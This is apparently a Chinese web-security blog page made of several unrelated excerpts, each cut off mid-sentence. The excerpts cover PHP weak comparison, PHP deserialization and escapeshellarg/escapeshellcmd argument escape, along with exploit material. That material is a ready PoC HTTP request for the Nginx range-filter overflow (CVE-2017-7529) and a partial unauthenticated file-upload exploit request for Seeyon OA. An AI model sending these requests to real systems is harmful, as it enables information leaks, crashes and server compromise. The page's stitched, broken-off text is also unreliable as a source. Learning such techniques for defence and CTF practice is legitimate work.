一、定义PHP中的弱比较运算符,可以实现一些比较奇怪的比较方法,常见于各种CTF题目的绕过中,使用两个等号 == 比较,只比较值,不比较类型。二、字符串与数字php中其中两种比较符号:\=\=:先将字符串类型转化成相同,再比较\=\=\=:先判断两种字符串的类型是否相等,再比较字符串和数字比较使用\=\=时,字符串会先转换为数字类型再比较var_dump('a' == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0var_dump('123a' == 123);//true,这里'123a'会被转换为123var_dump('a123' == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。举例:var_dump('123a1' == 123);//truevar_dump('1233a' == 123);//false<、>、<=、>=都存在和\=\=相同的弱类型,原理相同!!!三、布
原理Nginx范围过滤器模块中存在整数溢出漏洞,允许远程攻击者利用漏洞提交特殊的请求,获取敏感信息或使应用程序崩溃。影响范围Nginx < 1.13.2危害获取缓存的HTTP请求或使应用程序崩溃。POC & EXP手工GET / HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Range: bytes=-17208,-9223372036854758792状态码为206则说明存在漏洞。脚本https://github.com/en0f/CVE-2017-7529_PoC
原理未授权访问文件上传点导致任意文件上传漏洞,目标文件的一个参数将文件经过。影响范围致远OA V8.0;致远OA V7.1、V7.1SP1;致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3;致远OA V6.0、V6.1SP1、V6.1SP2;致远OA V5.x;致远OA G6POC & EXP手工arguments接收一个Gzip压缩后再URL编码的字符串,payload中的恶意代码将在被解压之后写入指定文件中。POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1 Host: ip:port Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Prest
定义PHP反序列化可以将一个对象转换为一个字符串保存起来,这将导致类中的成员可被用户控制,同时PHP在反序列化时会触发一些魔术函数,若这些魔术函数中含有危险函数且危险函数的参数是类的成员变量,即可导致越权访问或者命令执行。主要涉及到两个函数:serialize($o):将对象序列化为字符串unserialize($str):将字符串反序列化为对象序列化字符串解析PHP序列化对象只会序列化对象的成员变量,对三个类型的成员变量有不同的标志方法。例:class Obj { public $int = 2; protected $str = "2"; private $a = "a"; } $o = new Obj(); echo serialize($o);O:3:"Obj":3:{s:3:"int";i:2;s:6:"%00*%00str";s:1:"2";s:6:"%00Obj%00a";s:1:"a"
漏洞简介本漏洞是由escapeshellarg()和escapeshellcmd()两个函数对同一个需要过滤的shell命令字符串依次进行转义导致的参数逃逸问题,可以执行主命令的其他选修参数。escapeshellarg()与escapeshellcmd()escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。127.0.0.1' -d -v test =>'127.0.0.1'\'' -v -d a=1'escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: \`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配
Equinox
一个乐于分享的网安人